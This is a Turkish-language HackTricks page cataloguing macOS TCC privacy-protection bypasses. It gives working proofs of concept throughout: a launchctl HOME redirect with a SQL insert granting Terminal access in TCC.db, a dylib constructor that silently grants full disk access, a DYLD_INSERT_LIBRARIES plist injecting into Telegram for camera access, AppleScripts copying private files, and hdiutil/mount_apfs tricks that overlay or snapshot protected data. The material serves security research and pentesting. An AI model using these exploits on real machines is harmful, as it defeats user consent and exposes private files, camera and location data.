hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses
2024-03-17 16:37:08 +00:00
..
macos-apple-scripts.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 16:37:08 +00:00

macOS TCC Atlatmaları

Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

İşlevselliğe Göre

Yazma Atlatması

Bu bir atlatma değil, sadece TCC'nin nasıl çalıştığıdır: Yazmayı korumaz. Terminal bir kullanıcının Masaüstünü okuma erişimine sahip değilse bile içine yazabilir:

username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % echo asd > Desktop/lalala
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd

Genişletilmiş öznitelik com.apple.macl, oluşturucu uygulamanın onu okuma erişimine sahip olması için yeni dosyaya eklenir.

TCC ClickJacking

Kullanıcıyı fark etmeden kabul etmesini sağlamak için TCC uyarısının üzerine bir pencere yerleştirilebilir. Bir PoC'yi TCC-ClickJacking'de bulabilirsiniz.

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

Keyfi İsimle TCC İsteği

Saldırgan, Info.plist içinde herhangi bir isimle uygulamalar oluşturabilir (örneğin Finder, Google Chrome...) ve bu uygulamanın bazı TCC korumalı konumlara erişim istemesini sağlayabilir. Kullanıcı, meşru uygulamanın bu erişimi isteyen uygulama olduğunu düşünecektir.
Ayrıca, meşru uygulamayı Dock'tan kaldırmak ve sahte olanı yerine koymak mümkündür, böylece kullanıcı sahte olanı tıkladığında (aynı simgeyi kullanabilir) meşru olanı çağırabilir, TCC izinlerini isteyebilir ve kötü amaçlı yazılımı yürütebilir, böylece kullanıcı meşru uygulamanın erişimi istediğine inanır.

Daha fazla bilgi ve PoC için:

{% content-ref url="../../../macos-privilege-escalation.md" %} macos-privilege-escalation.md {% endcontent-ref %}

SSH Atlatma

Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bunun devre dışı bırakılması için listelenmiş ancak devre dışı bırakılmış olması gerekir (listeden kaldırmak bu ayrıcalıkları kaldırmaz):

İşte bazı kötü amaçlı yazılımların bu korumayı atlatmayı nasıl başardığının örnekleri:

{% hint style="danger" %} Şu anda SSH'yi etkinleştirebilmek için Tam Disk Erişimi'ne ihtiyacınız vardır {% endhint %}

Uzantıları İşleme - CVE-2022-26767

Dosyalara belirli bir uygulamanın okuma izinlerini vermek için com.apple.macl özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı dosyayı çift tıklattığında varsayılan uygulama ile açtığında ayarlanır.

Bu nedenle, bir kullanıcı tüm uzantıları ele alacak kötü amaçlı bir uygulama kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı açabilir (bu nedenle kötü amaçlı dosya okuma izni verilir).

iCloud

com.apple.private.icloud-account-access ayrıcalığı ile com.apple.iCloudHelper XPC hizmetiyle iletişim kurmak mümkündür ve bu hizmet iCloud belgelerini sağlayacaktır.

iMovie ve Garageband bu ayrıcalığa sahipti ve diğerleri de sahipti.

Bu ayrıcalıktan iCloud belgelerini almak için bir açıdan daha fazla bilgi için şu konuşmayı kontrol edin: #OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula

kTCCServiceAppleEvents / Otomasyon

kTCCServiceAppleEvents iznine sahip bir uygulama diğer Uygulamaları kontrol edebilecektir. Bu, diğer Uygulamalara verilen izinleri kötüye kullanabileceği anlamına gelir.

Apple Betikleri hakkında daha fazla bilgi için kontrol edin:

{% content-ref url="macos-apple-scripts.md" %} macos-apple-scripts.md {% endcontent-ref %}

Örneğin, bir Uygulamanın iTerm üzerinde Otomasyon izni varsa, örneğin bu örnekte Terminal'in iTerm üzerinde erişimi vardır:

iTerm Üzerinde

FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve işlemleri gerçekleştirmek için kullanabilir:

{% code title="iterm.script" %}

tell application "iTerm"
activate
tell current window
create tab with default profile
end tell
tell current session of current window
write text "cp ~/Desktop/private.txt /tmp"
end tell
end tell

{% endcode %}

osascript iterm.script

Finder Üzerinden

Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik olabilir:

set a_user to do shell script "logname"
tell application "Finder"
set desc to path to home folder
set copyFile to duplicate (item "private.txt" of folder "Desktop" of folder a_user of item "Users" of disk of home) to folder desc with replacing
set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alias)) as text
end tell
do shell script "rm " & POSIX path of (copyFile as alias)

Uygulama davranışına göre

CVE-20209934 - TCC

Kullanıcı alanı tccd daemon'ı, TCC kullanıcı veritabanına erişmek için HOME env değişkenini kullanır: $HOME/Library/Application Support/com.apple.TCC/TCC.db

Şu Stack Exchange gönderisine göre ve TCC daemon'ının mevcut kullanıcının etki alanı içinde launchd aracılığıyla çalıştırıldığından, tüm çevre değişkenlerini kontrol etmek mümkündür.
Bu nedenle, bir saldırgan, launchctl içinde $HOME çevre değişkenini kontrol edilen bir dizine işaret etmek üzere ayarlayabilir, TCC daemon'ını yeniden başlatabilir ve ardından TCC veritabanını doğrudan değiştirerek kendisine kullanılabilir tüm TCC yetkilerini vererek son kullanıcıya hiçbir zaman soru sormadan yetkilendirebilir.
PoC:

# reset database just in case (no cheating!)
$> tccutil reset All
# mimic TCC's directory structure from ~/Library
$> mkdir -p "/tmp/tccbypass/Library/Application Support/com.apple.TCC"
# cd into the new directory
$> cd "/tmp/tccbypass/Library/Application Support/com.apple.TCC/"
# set launchd $HOME to this temporary directory
$> launchctl setenv HOME /tmp/tccbypass
# restart the TCC daemon
$> launchctl stop com.apple.tccd && launchctl start com.apple.tccd
# print out contents of TCC database and then give Terminal access to Documents
$> sqlite3 TCC.db .dump
$> sqlite3 TCC.db "INSERT INTO access
VALUES('kTCCServiceSystemPolicyDocumentsFolder',
'com.apple.Terminal', 0, 1, 1,
X'fade0c000000003000000001000000060000000200000012636f6d2e6170706c652e5465726d696e616c000000000003',
NULL,
NULL,
'UNUSED',
NULL,
NULL,
1333333333333337);"
# list Documents directory without prompting the end user
$> ls ~/Documents

CVE-2021-30761 - Notlar

Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu korumalı olmayan bir konumda oluşturulur. Bu nedenle, notlara korumalı bir dosyayı bir nota kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz:

CVE-2021-30782 - Taşınma

/usr/libexec/lsd ikili dosyası, libsecurity_translocate kütüphanesiyle birlikte com.apple.private.nullfs_allow yetkisine sahipti, bu da nullfs bağlantısını oluşturmasına izin veriyordu ve com.apple.private.tcc.allow yetkisine sahipti ve kTCCServiceSystemPolicyAllFiles ile her dosyaya erişim sağlıyordu.

"Library" klasörüne karantina özniteliği eklemek, com.apple.security.translocation XPC servisini çağırmak ve ardından Library'yi $TMPDIR/AppTranslocation/d/d/Library'ye eşlemek ve Library içindeki tüm belgelere erişmek mümkündü.

CVE-2023-38571 - Müzik ve TV

Müzik ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" ~/Music/Music/Media.localized/Automatically Add to Music.localized'e bırakılan dosyaları ithal eder. Ayrıca şuna benzer bir şey çağırır: rename(a, b); burada a ve b şunlardır:

  • a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"
  • b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3

Bu rename(a, b); davranışı bir Yarış Koşulu'na karşı savunmasızdır, çünkü Automatically Add to Music.localized klasörüne sahte bir TCC.db dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu ~/Library/Application Support/com.apple.TCC'ye yönlendirmek mümkündür.

SQLITE_SQLLOG_DIR - CVE-2023-32422

Eğer SQLITE_SQLLOG_DIR="yol/klasör" ise temelde herhangi bir açık db'nin o yola kopyalandığı anlamına gelir. Bu CVE'de bu kontrol, FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak için kötüye kullanıldı ve ardından SQLITE_SQLLOG_DIR'yi dosya adındaki sembolik bağlantı ile kötüye kullanarak, bu veritabanı ıldığında, kullanıcı TCC.db'si açılanla üzerine yazıldı.

Daha fazla bilgi yazılııklamada ve sunumda.

SQLITE_AUTO_TRACE

Eğer SQLITE_AUTO_TRACE çevresel değişkeni ayarlanmışsa, libsqlite3.dylib kütüphanesi tüm SQL sorgularını günlüğe kaydetmeye başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü.

Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullanmaktadır.

# Set this env variable everywhere
launchctl setenv SQLITE_AUTO_TRACE 1

MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407

Bu çevre değişkeni, çeşitli programların bağımlılığı olan Metal çerçevesi tarafından kullanılır, en önemlisi Music programıdır, FDA'ya sahiptir.

Aşağıdakini ayarlayarak: MTL_DUMP_PIPELINES_TO_JSON_FILE="yol/ad" Eğer yol geçerli bir dizin ise, hata tetiklenecek ve programda neler olduğunu görmek için fs_usage kullanabiliriz:

  • open() ile path/.dat.nosyncXXXX.XXXXXX (X rastgele) adında bir dosya açılacak
  • bir veya daha fazla write() içeriği dosyaya yazacak (bunu kontrol etmiyoruz)
  • path/.dat.nosyncXXXX.XXXXXX rename() ile path/ad olarak yeniden adlandırılacak

Bu geçici bir dosya yazma işlemidir, ardından güvenli olmayan bir şekilde rename(eski, yeni) gerçekleşir.

Bu güvenli değildir çünkü eski ve yeni yolları ayrı ayrı çözmesi gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için xnu fonksiyonu olan renameat_internal()'a bakabilirsiniz.

{% hint style="danger" %} Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaptığında, bir RCE kazanabilir ve farklı bir dosyaya erişim sağlayabilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir.

Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirmiş veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz. {% endhint %}

Bu, CVE'deki saldırı buydu: Örneğin, kullanıcının TCC.db dosyasını üzerine yazmak için:

  • /Users/hacker/ourlink'i /Users/hacker/Library/Application Support/com.apple.TCC/'ye işaret edecek şekilde oluşturun
  • /Users/hacker/tmp/ dizinini oluşturun
  • MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db olarak ayarlayın
  • bu çevre değişkeni ile Music'i çalıştırarak hatayı tetikleyin
  • /Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX'in open()'ını yakalayın (X rastgele)
  • burada ayrıca bu dosyayı yazmak için open() yapın ve dosya tanımlayıcısını elinizde tutun
  • /Users/hacker/tmp'yi atomik olarak /Users/hacker/ourlink ile bir döngü içinde değiştirin
  • bunu başarılı olma şansımızı maksimize etmek için yapıyoruz çünkü yarış penceresi oldukça dar, ancak yarışı kaybetmenin ihmal edilebilir bir dezavantajı var
  • biraz bekleyin
  • şanslı olup olmadığımızı test edin
  • değilse, tekrar en baştan çalıştırın

Daha fazla bilgi için https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html

{% hint style="danger" %} Şimdi, eğer MTL_DUMP_PIPELINES_TO_JSON_FILE çevre değişkenini kullanmaya çalışırsanız, uygulamalar başlatılmaz {% endhint %}

Apple Uzak Masaüstü

Root olarak bu hizmeti etkinleştirebilir ve ARD ajanı tam disk erişimine sahip olacak, bu da ardından bir kullanıcının yeni TCC kullanıcı veritabanını kopyalamasını sağlayabileceği şekilde kötüye kullanılabilir.

NFSHomeDirectory ile

TCC, kullanıcının HOME klasöründeki bir veritabanını kontrol etmek için kullanır, bu da kullanıcının $HOME/Library/Application Support/com.apple.TCC/TCC.db'deki kullanıcıya özgü kaynaklara erişimi kontrol etmesini sağlar.
Bu nedenle, kullanıcı, TCC'yi farklı bir klasöre işaret eden $HOME çevresel değişkeni ile yeniden başlatmayı başarırsa, kullanıcı /Library/Application Support/com.apple.TCC/TCC.db'de yeni bir TCC veritabanı oluşturabilir ve TCC'yi herhangi bir uygulamaya herhangi bir TCC iznini vermesi için kandırabilir.

{% hint style="success" %} Apple, NFSHomeDirectory özelliğinde saklanan ayarları kullanır ve $HOME değerini belirlemek için kullanıcının profilindeki ayarı kullanır, bu nedenle bu değeri değiştirmeye izin veren bir uygulamayı ele geçirirseniz (kTCCServiceSystemPolicySysAdminFiles), bu seçeneği bir TCC atlatma ile silahlaştırabilirsiniz. {% endhint %}

CVE-20209934 - TCC

CVE-2020-27937 - Directory Utility

CVE-2021-30970 - Powerdir

İlk POC, hedef uygulama için bir csreq blogu alır.

  1. Gerekli erişim ve csreq blogu ile sahte bir TCC.db dosyası yerleştirin.
  2. Kullanıcının Directory Services girişini dsexport ile dışa aktarın.
  3. Kullanıcının ev dizinini değiştirmek için Directory Services girişini değiştirin.
  4. Değiştirilmiş Directory Services girişini dsimport ile içe aktarın.
  5. Kullanıcının tccd'sini durdurun ve işlemi yeniden başlatın.

İkinci POC, com.apple.private.tcc.allow değeri kTCCServiceSystemPolicySysAdminFiles olan /usr/libexec/configd'yi kullanıyordu.
Bir saldırgan, configd'yi -t seçeneğiyle çalıştırabilirse, özel bir Yükleme Paketi belirleyebilir. Bu nedenle, saldırı, kullanıcının ev dizinini değiştirmenin dsexport ve dsimport yöntemini configd kod enjeksiyonu ile değiştirir.

Daha fazla bilgi için orijinal rapora bakın.

İşlem enjeksiyonu ile

Bir işleme kod enjekte etmek ve TCC ayrıcalıklarını kötüye kullanmak için farklı teknikler vardır:

{% content-ref url="../../../macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Ayrıca, TCC'yi atlatmak için en yaygın işlem enjeksiyonu, eklentileri (kütüphane yükleme) aracılığıyla gerçekleştirilir.
Eklentiler, genellikle kütüphane veya plist biçiminde ekstra kodlardır, ana uygulama tarafından yüklenir ve kendi bağlamı altında çalıştırılır. Bu nedenle, ana uygulamanın TCC kısıtlı dosyalara erişimi varsa (izin verilen izinler veya yetkilendirmeler aracılığıyla), özel kod da buna sahip olacaktır.

CVE-2020-27937 - Directory Utility

Uygulama /System/Library/CoreServices/Applications/Directory Utility.app, kTCCServiceSystemPolicySysAdminFiles yetkisine sahipti, .daplug uzantılı eklentiler yüklüydü ve sertleştirilmiş çalışma zamanına sahip değildi.

Bu CVE'yi silahlaştırmak için, NFSHomeDirectory değiştirilir (önceki yetkiyi kötüye kullanarak) ve TCC'yi atlatmak için kullanıcıların TCC veritabanını ele geçirebilmek için değiştirilir.

Daha fazla bilgi için orijinal rapora bakın.

CVE-2020-29621 - Coreaudiod

/usr/sbin/coreaudiod ikili dosyasının ayrıcalıkları com.apple.security.cs.disable-library-validation ve com.apple.private.tcc.manager idi. İlk ayrıcalık kod enjeksiyonuna izin verirken, ikinci ayrıcalık TCC'yi yönetme erişimi sağlıyordu.

Bu ikili dosya, /Library/Audio/Plug-Ins/HAL klasöründen üçüncü taraf eklentileri yüklemeye izin veriyordu. Bu nedenle, bu PoC ile bir eklenti yüklemek ve TCC izinlerini kötüye kullanmak mümkündü:

#import <Foundation/Foundation.h>
#import <Security/Security.h>

extern void TCCAccessSetForBundleIdAndCodeRequirement(CFStringRef TCCAccessCheckType, CFStringRef bundleID, CFDataRef requirement, CFBooleanRef giveAccess);

void add_tcc_entry() {
CFStringRef TCCAccessCheckType = CFSTR("kTCCServiceSystemPolicyAllFiles");

CFStringRef bundleID = CFSTR("com.apple.Terminal");
CFStringRef pureReq = CFSTR("identifier \"com.apple.Terminal\" and anchor apple");
SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(pureReq, kSecCSDefaultFlags, &requirement);
CFDataRef requirementData = NULL;
SecRequirementCopyData(requirement, kSecCSDefaultFlags, &requirementData);

TCCAccessSetForBundleIdAndCodeRequirement(TCCAccessCheckType, bundleID, requirementData, kCFBooleanTrue);
}

__attribute__((constructor)) static void constructor(int argc, const char **argv) {

add_tcc_entry();

NSLog(@"[+] Exploitation finished...");
exit(0);

Daha fazla bilgi için orijinal rapora bakın.

Aygıt Soyutlama Katmanı (DAL) Eklentileri

Core Media I/O aracılığıyla kamera akışını açan sistem uygulamaları (kTCCServiceCamera'ya sahip uygulamalar), /Library/CoreMediaIO/Plug-Ins/DAL dizininde bulunan bu eklentileri işlem içine yükler (SIP kısıtlaması olmadan).

Oraya yaygın yapıcı ile bir kütüphane saklamak, kod enjekte etmek için çalışacaktır.

Birçok Apple uygulaması buna karşı savunmasızdı.

Firefox

Firefox uygulamasında com.apple.security.cs.disable-library-validation ve com.apple.security.cs.allow-dyld-environment-variables yetkileri bulunmaktaydı:

codesign -d --entitlements :- /Applications/Firefox.app
Executable=/Applications/Firefox.app/Contents/MacOS/firefox

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-unsigned-executable-memory</key>
<true/>
<key>com.apple.security.cs.disable-library-validation</key>
<true/>
<key>com.apple.security.cs.allow-dyld-environment-variables</key><true/>
<true/>
<key>com.apple.security.device.audio-input</key>
<true/>
<key>com.apple.security.device.camera</key>
<true/>
<key>com.apple.security.personal-information.location</key>
<true/>
<key>com.apple.security.smartcard</key>
<true/>
</dict>
</plist>

Daha fazla bilgi için bu orijinal raporu kontrol edin.

CVE-2020-10006

/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl ikili dosyasında com.apple.private.tcc.allow ve com.apple.security.get-task-allow yetkileri vardı, bu da işlem içine kod enjekte etmeye ve TCC ayrıcalıklarını kullanmaya olanak tanıdı.

CVE-2023-26818 - Telegram

Telegram'da com.apple.security.cs.allow-dyld-environment-variables ve com.apple.security.cs.disable-library-validation yetkileri vardı, bu nedenle kamerayla kayıt yapma gibi izinlere erişmek mümkündü. Payload'ı yazıda bulabilirsiniz.

Ortam değişkenini kullanmak için bir kütüphane yüklemek için bir özel plist oluşturuldu ve bunu enjekte etmek için launchctl kullanıldı:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.telegram.launcher</string>
<key>RunAtLoad</key>
<true/>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/telegram.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Telegram.app/Contents/MacOS/Telegram</string>
</array>
<key>StandardOutPath</key>
<string>/tmp/telegram.log</string>
<key>StandardErrorPath</key>
<string>/tmp/telegram.log</string>
</dict>
</plist>
launchctl load com.telegram.launcher.plist

ık çağrılarla

Kumlanmışken bile open çağrısı yapmak mümkündür.

Terminal Betikleri

Terminal Tam Disk Erişimi (TDE) vermek oldukça yaygındır, en azından teknik kişiler tarafından kullanılan bilgisayarlarda. Ve .terminal betiklerini bu erişimle kullanmak mümkündür.

.terminal betikleri, CommandString anahtarında yürütülecek komutla birlikte olan bu örnekteki gibi plist dosyalarıdır:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
<dict>
<key>CommandString</key>
<string>cp ~/Desktop/private.txt /tmp/;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>

Bir uygulama, /tmp gibi bir konumda bir terminal betiği yazabilir ve şu şekilde bir komutla başlatabilir:

// Write plist in /tmp/tcc.terminal
[...]
NSTask *task = [[NSTask alloc] init];
NSString * exploit_location = @"/tmp/tcc.terminal";
task.launchPath = @"/usr/bin/open";
task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
exploit_location]; task.standardOutput = pipe;
[task launch];

Montaj Yoluyla

CVE-2020-9771 - mount_apfs TCC atlatma ve ayrıcalık yükseltme

Herhangi bir kullanıcı (hatta ayrıcalıklı olmayanlar bile) bir zaman makinesi anı görüntüsü oluşturabilir ve monte edebilir ve o anı görüntüsündeki TÜM dosyalara erişebilir.
Kullanılan uygulamanın (örneğin Terminal) Tam Disk Erişimi (FDA) erişimine sahip olması gereken tek ayrıcalık (kTCCServiceSystemPolicyAllfiles) bir yönetici tarafından verilmelidir.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Daha detaylı bir açıklama orijinal raporda bulunabilir.

CVE-2021-1784 & CVE-2021-30808 - TCC dosyası üzerinden Mount

TCC DB dosyası korunsa bile, yeni bir TCC.db dosyasını dizin üzerine mount etmek mümkündü:

# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
hdiutil attach -owners off -mountpoint Library/Application\ Support/com.apple.TCC test.dmg

# CVE-2021-1784
## Mount over ~/Library
hdiutil attach -readonly -owners off -mountpoint ~/Library /tmp/tmp.dmg

{% endcode %}

# This was the python function to create the dmg
def create_dmg():
os.system("hdiutil create /tmp/tmp.dmg -size 2m -ov -volname \"tccbypass\" -fs APFS 1>/dev/null")
os.system("mkdir /tmp/mnt")
os.system("hdiutil attach -owners off -mountpoint /tmp/mnt /tmp/tmp.dmg 1>/dev/null")
os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")

Tam exploit'i orijinal yazıda kontrol edin.

asr

/usr/sbin/asr aracı, TCC korumalarını atlayarak tüm diski kopyalayıp başka bir yere bağlamaya izin veriyordu.

Konum Hizmetleri

/var/db/locationd/clients.plist içinde üçüncü bir TCC veritabanı bulunur ve burada konum hizmetlerine erişime izin verilen istemciler belirtilir.
/var/db/locationd/ klasörü DMG bağlama korumasından yoksundu bu yüzden kendi plist'imizi bağlamak mümkündü.

Başlangıç uygulamalarıyla

{% content-ref url="../../../../macos-auto-start-locations.md" %} macos-auto-start-locations.md {% endcontent-ref %}

Grep ile

Çeşitli durumlarda dosyalar hassas bilgileri (e-postalar, telefon numaraları, mesajlar...) korunmayan konumlarda saklar (bu da Apple için bir zayıflık olarak kabul edilir).

Sentetik Tıklamalar

Bu artık çalışmıyor, ancak geçmişte çalışıyordu:

Başka bir yol CoreGraphics olayları kullanarak:

Referans